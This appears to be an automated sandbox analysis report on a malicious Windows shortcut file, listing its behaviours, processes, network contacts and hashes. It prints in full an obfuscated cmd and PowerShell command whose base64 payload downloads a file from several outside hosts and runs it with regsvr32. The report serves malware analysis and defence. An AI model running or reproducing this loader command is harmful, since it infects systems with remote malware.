Analysis Overview
SHA256
b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55
Threat Level: Likely malicious
The file b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
An obfuscated cmd.exe command-line is typically used to evade detection.
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 11:03
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 11:03
Reported
2024-11-13 11:05
Platform
win7-20241023-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
An obfuscated cmd.exe command-line is typically used to evade detection.
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1644 wrote to memory of 1988 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1644 wrote to memory of 1988 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1644 wrote to memory of 1988 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1988 wrote to memory of 1636 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1988 wrote to memory of 1636 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1988 wrote to memory of 1636 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /v:on /c FNBmwxR6QxBkrgJ+BX6Miv/JjezYHuOEw18Vc+d4q4lm2Szx6nmR8zgeg19If6ewK09230Kh||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"
Network
Files
memory/1636-40-0x000007FEF5F5E000-0x000007FEF5F5F000-memory.dmp
memory/1636-41-0x000000001B610000-0x000000001B8F2000-memory.dmp
memory/1636-42-0x0000000002240000-0x0000000002248000-memory.dmp
memory/1636-43-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/1636-44-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/1636-45-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/1636-46-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/1636-47-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 11:03
Reported
2024-11-13 11:05
Platform
win10v2004-20241007-en
Max time kernel
134s
Max time network
139s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
An obfuscated cmd.exe command-line is typically used to evade detection.
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3520 wrote to memory of 2628 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3520 wrote to memory of 2628 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2628 wrote to memory of 2304 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2628 wrote to memory of 2304 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2304 wrote to memory of 3536 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\regsvr32.exe |
| PID 2304 wrote to memory of 3536 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\regsvr32.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /v:on /c FNBmwxR6QxBkrgJ+BX6Miv/JjezYHuOEw18Vc+d4q4lm2Szx6nmR8zgeg19If6ewK09230Kh||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"
C:\Windows\system32\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\IhUyM\AMzbftixnH.WNT
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.jprarts.com | udp |
| US | 15.197.130.221:80 | www.jprarts.com | tcp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 221.130.197.15.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.179.89.13.in-addr.arpa | udp |
Files
memory/2304-0-0x00007FFDCF233000-0x00007FFDCF235000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpbcrsdp.tvu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2304-6-0x000002CB54F90000-0x000002CB54FB2000-memory.dmp
memory/2304-11-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp
memory/2304-12-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp
C:\Users\Admin\AppData\Local\IhUyM\AMzbftixnH.WNT
| MD5 | 1a187c7f21df4cc93d7218be2a96dcdc |
| SHA1 | 992198b6c3183a8481f91849772daaaaa5867895 |
| SHA256 | 502cab3f03b5aacb7c1caf53e2ad21140c41d4c5d781e0238525f831035c96d7 |
| SHA512 | 55f2bdd3319354d445cc19d171c92a3cd3f69c5d1d1bbd12dd5080bdc85e1bcef36876af86c5581dfb0004d54ecded2105b48d4e6d5a0806e05ebb4e0cb5b023 |
memory/2304-17-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp